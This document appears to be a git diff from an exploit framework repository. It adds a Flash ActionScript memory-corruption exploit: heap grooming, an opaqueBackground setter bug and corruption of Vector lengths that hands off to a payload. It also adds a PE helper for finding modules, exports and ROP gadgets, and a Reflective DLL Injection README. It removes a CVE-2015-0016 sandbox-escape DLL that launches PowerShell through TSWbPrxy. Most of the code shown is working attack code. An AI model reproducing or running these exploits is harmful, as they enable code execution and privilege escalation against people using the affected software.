_ar_reuseLen = 80
|
||||||
|
|
||||||
|
_ar = new Array(_arLen);
|
||||||
|
_ar_text_line = new Array(_ar_text_lineLen)
|
||||||
|
_ar_reuse = new Array(_ar_reuseLen)
|
||||||
|
|
||||||
|
if (!_gc) _gc = new Array();
|
||||||
|
_gc.push(_ar);
|
||||||
|
_gc.push(_ar_text_line);
|
||||||
|
_gc.push(_ar_reuse);
|
||||||
|
|
||||||
|
if (!_tb) {
|
||||||
|
_tb = new TextBlock(new TextElement("TextElement", new ElementFormat()));
|
||||||
|
if (!_tb) throw new Error("_tb = " + _tb);
|
||||||
|
}
|
||||||
|
|
||||||
|
_mc = new MyClass();
|
||||||
|
|
||||||
|
_vLen = 400/4-2;
|
||||||
|
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
|
||||||
|
Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)")
|
||||||
|
for(var i:uint = 0; i < _arLen; i++)
|
||||||
|
_ar[i] = new Vector.<uint>(_vLen)
|
||||||
|
|
||||||
|
// prepare Vector objects
|
||||||
|
Logger.log("prepare Vector objects")
|
||||||
|
for(i = 0; i < _ar_reuseLen; i++) {
|
||||||
|
_ar_reuse[i] = new Vector.<uint>(8);
|
||||||
|
_ar_reuse[i][0] = i;
|
||||||
|
_ar_reuse[i][1] = 0xdeedbeef
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare TextLines
|
||||||
|
Logger.log("prepare TextLines")
|
||||||
|
for(i = 0; i < _ar_text_lineLen; i++)
|
||||||
|
_ar_text_line[i] = _tb.createTextLine()
|
||||||
|
|
||||||
|
// fill 1016-byte holes (0x38c is a size of internal TextLine object)
|
||||||
|
Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)")
|
||||||
|
for(i = 0; i < _ar_text_lineLen; i++)
|
||||||
|
_ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes
|
||||||
|
|
||||||
|
// set custom valueOf() for _mc
|
||||||
|
Logger.log("set custom valueOf() for _mc")
|
||||||
|
MyClass.prototype.valueOf = valueOf2
|
||||||
|
|
||||||
|
// here we go, call the vulnerable setter
|
||||||
|
Logger.log("here we go, call the vulnerable setter")
|
||||||
|
//_cnt = _ar_text_lineLen - 6
|
||||||
|
_cnt = _ar_text_lineLen - 20
|
||||||
|
_ar_text_line[_cnt].opaqueBackground = _mc
|
||||||
|
|
||||||
|
// find corrupted vector length
|
||||||
|
Logger.log("find corrupted vector length ")
|
||||||
|
for(i=0; i < _ar_reuseLen; i++) {
|
||||||
|
_vu = _ar_reuse[i];
|
||||||
|
if (_vu.length > _vLen+2) {
|
||||||
|
Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16));
|
||||||
|
Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16));
|
||||||
|
if (_vu[_vLen] == _vLen) {
|
||||||
|
// corrupt next vector
|
||||||
|
_vu[_vLen] = LEN40;
|
||||||
|
// get corrupted vector
|
||||||
|
_vu = _ar_reuse[_vu[_vLen+2]];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
};// else CheckCorrupted(_vu, i); // 4RnD
|
||||||
|
}
|
||||||
|
|
||||||
|
// check results
|
||||||
|
Logger.log("v.length = " + _vu.length.toString(16));
|
||||||
|
|
||||||
|
if (_vu.length < LEN40) throw new Error("try again");
|
||||||
|
|
||||||
|
var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62)
|
||||||
|
}
|
||||||
|
catch (err:Error)
|
||||||
|
{
|
||||||
|
Logger.log("TryExpl " + err.toString());
|
||||||
|
if (err.toString().indexOf("try again") != -1) {
|
||||||
|
MyClass.TryExpl(e, platform, payload, try_number + 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,16 @@
|
||||||
|
Release/
|
||||||
|
Debug/
|
||||||
|
x64/
|
||||||
|
dll/Release/
|
||||||
|
dll/Debug/
|
||||||
|
dll/reflective_dll.vcproj.*.user
|
||||||
|
dll/reflective_dll.vcxproj.user
|
||||||
|
inject/Release/
|
||||||
|
inject/Debug/
|
||||||
|
inject/inject.vcproj.*.user
|
||||||
|
inject/inject.vcxproj.user
|
||||||
|
rdi.ncb
|
||||||
|
rdi.suo
|
||||||
|
rdi.sdf
|
||||||
|
rdi.opensdf
|
||||||
|
rdi.v11.suo
|
|
@ -0,0 +1,25 @@
|
||||||
|
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,40 @@
|
||||||
|
About
|
||||||
|
=====
|
||||||
|
|
||||||
|
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
|
||||||
|
|
||||||
|
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
|
||||||
|
|
||||||
|
Overview
|
||||||
|
========
|
||||||
|
|
||||||
|
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
|
||||||
|
|
||||||
|
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
|
||||||
|
|
||||||
|
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
|
||||||
|
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
|
||||||
|
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
||||||
|
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
|
||||||
|
* The library's headers and sections are loaded into their new locations in memory.
|
||||||
|
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
|
||||||
|
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
|
||||||
|
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
|
||||||
|
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
|
||||||
|
|
||||||
|
Build
|
||||||
|
=====
|
||||||
|
|
||||||
|
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
|
||||||
|
|
||||||
|
Usage
|
||||||
|
=====
|
||||||
|
|
||||||
|
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
|
||||||
|
|
||||||
|
> inject.exe 1234
|
||||||
|
|
||||||
|
License
|
||||||
|
=======
|
||||||
|
|
||||||
|
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,22 +0,0 @@
|
||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual Studio 2013
|
|
||||||
VisualStudioVersion = 12.0.31101.0
|
|
||||||
MinimumVisualStudioVersion = 10.0.40219.1
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|Win32 = Debug|Win32
|
|
||||||
Release|Win32 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
|
|
||||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
|
|
||||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
|
|
||||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
|
@ -1,48 +0,0 @@
|
||||||
========================================================================
|
|
||||||
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
|
|
||||||
========================================================================
|
|
||||||
|
|
||||||
AppWizard has created this cve-2015-0016 DLL for you.
|
|
||||||
|
|
||||||
This file contains a summary of what you will find in each of the files that
|
|
||||||
make up your cve-2015-0016 application.
|
|
||||||
|
|
||||||
|
|
||||||
cve-2015-0016.vcxproj
|
|
||||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
|
||||||
It contains information about the version of Visual C++ that generated the file, and
|
|
||||||
information about the platforms, configurations, and project features selected with the
|
|
||||||
Application Wizard.
|
|
||||||
|
|
||||||
cve-2015-0016.vcxproj.filters
|
|
||||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
|
||||||
It contains information about the association between the files in your project
|
|
||||||
and the filters. This association is used in the IDE to show grouping of files with
|
|
||||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
|
||||||
"Source Files" filter).
|
|
||||||
|
|
||||||
cve-2015-0016.cpp
|
|
||||||
This is the main DLL source file.
|
|
||||||
|
|
||||||
When created, this DLL does not export any symbols. As a result, it
|
|
||||||
will not produce a .lib file when it is built. If you wish this project
|
|
||||||
to be a project dependency of some other project, you will either need to
|
|
||||||
add code to export some symbols from the DLL so that an export library
|
|
||||||
will be produced, or you can set the Ignore Input Library property to Yes
|
|
||||||
on the General propert page of the Linker folder in the project's Property
|
|
||||||
Pages dialog box.
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
|
||||||
Other standard files:
|
|
||||||
|
|
||||||
StdAfx.h, StdAfx.cpp
|
|
||||||
These files are used to build a precompiled header (PCH) file
|
|
||||||
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
|
||||||
Other notes:
|
|
||||||
|
|
||||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
|
||||||
should add to or customize.
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
|
|
@ -1,46 +0,0 @@
|
||||||
// MyExploit.cpp : Defines the exported functions for the DLL application.
|
|
||||||
//
|
|
||||||
|
|
||||||
#include "stdafx.h"
|
|
||||||
#include <objbase.h>
|
|
||||||
|
|
||||||
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
|
|
||||||
#define MAX_ENV 32767
|
|
||||||
|
|
||||||
bstr_t GetEnv(LPCSTR env)
|
|
||||||
{
|
|
||||||
CHAR buf[MAX_ENV];
|
|
||||||
|
|
||||||
GetEnvironmentVariable(env, buf, MAX_ENV);
|
|
||||||
|
|
||||||
return buf;
|
|
||||||
}
|
|
||||||
|
|
||||||
void DoTSWbPrxyExploit() {
|
|
||||||
HRESULT hr;
|
|
||||||
IMSTSWebProxy *pUnk;
|
|
||||||
|
|
||||||
CHAR cmdline[] = "TSWbPrxy.exe";
|
|
||||||
STARTUPINFO startInfo = { 0 };
|
|
||||||
PROCESS_INFORMATION procInfo = { 0 };
|
|
||||||
|
|
||||||
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
|
|
||||||
if (hr == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
|
|
||||||
if (hr != 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
|
|
||||||
pUnk->Release();
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD CALLBACK ExploitThread(LPVOID hModule)
|
|
||||||
{
|
|
||||||
CoInitialize(nullptr);
|
|
||||||
DoTSWbPrxyExploit();
|
|
||||||
CoUninitialize();
|
|
||||||
|
|
||||||
FreeLibraryAndExitThread((HMODULE)hModule, 0);
|
|
||||||
}
|
|
|
@ -1,105 +0,0 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
|
|
||||||
<Keyword>Win32Proj</Keyword>
|
|
||||||
<RootNamespace>cve20150016</RootNamespace>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v120</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v120</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<SDLCheck>true</SDLCheck>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<SDLCheck>true</SDLCheck>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<CompileAs>CompileAsCpp</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Text Include="ReadMe.txt" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="stdafx.h" />
|
|
||||||
<ClInclude Include="targetver.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="cve-2015-0016.cpp" />
|
|
||||||
<ClCompile Include="dllmain.cpp">
|
|
||||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
</PrecompiledHeader>
|
|
||||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
</PrecompiledHeader>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="stdafx.cpp">
|
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
|
@ -1,24 +0,0 @@
|
||||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
|
||||||
#include "stdafx.h"
|
|
||||||
|
|
||||||
DWORD CALLBACK ExploitThread(LPVOID hModule);
|
|
||||||
|
|
||||||
BOOL APIENTRY DllMain(HMODULE hModule,
|
|
||||||
DWORD ul_reason_for_call,
|
|
||||||
LPVOID lpReserved
|
|
||||||
)
|
|
||||||
{
|
|
||||||
switch (ul_reason_for_call)
|
|
||||||
{
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
|
@ -1,8 +0,0 @@
|
||||||
// stdafx.cpp : source file that includes just the standard includes
|
|
||||||
// cve-2015-0016.pch will be the pre-compiled header
|
|
||||||
// stdafx.obj will contain the pre-compiled type information
|
|
||||||
|
|
||||||
#include "stdafx.h"
|
|
||||||
|
|
||||||
// TODO: reference any additional headers you need in STDAFX.H
|
|
||||||
// and not in this file
|
|
|
@ -1,16 +0,0 @@
|
||||||
// stdafx.h : include file for standard system include files,
|
|
||||||
// or project specific include files that are used frequently, but
|
|
||||||
// are changed infrequently
|
|
||||||
//
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
#include "targetver.h"
|
|
||||||
|
|
||||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
|
||||||
// Windows Header Files:
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// TODO: reference additional headers your program requires here
|
|
|
@ -1,8 +0,0 @@
|
||||||
#pragma once
|
|
||||||
|
|
||||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
|
||||||
|
|
||||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
|
||||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
|
||||||
|
|
||||||
#include <SDKDDKVer.h>
|
|
|
@ -0,0 +1,20 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||||
|
# Visual C++ Express 2008
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,357 @@
|
||||||
|
<?xml version="1.0" encoding="Windows-1252"?>
|
||||||
|
<VisualStudioProject
|
||||||
|
ProjectType="Visual C++"
|
||||||
|
Version="9.00"
|
||||||
|
Name="reflective_dll"
|
||||||
|
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||||
|
RootNamespace="reflective_dll"
|
||||||
|
Keyword="Win32Proj"
|
||||||
|
TargetFrameworkVersion="196613"
|
||||||
|
>
|
||||||
|
<Platforms>
|
||||||
|
<Platform
|
||||||
|
Name="Win32"
|
||||||
|
/>
|
||||||
|
<Platform
|
||||||
|
Name="x64"
|
||||||
|
/>
|
||||||
|
</Platforms>
|
||||||
|
<ToolFiles>
|
||||||
|
</ToolFiles>
|
||||||
|
<Configurations>
|
||||||
|
<Configuration
|
||||||
|
Name="Debug|Win32"
|
||||||
|
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="1"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
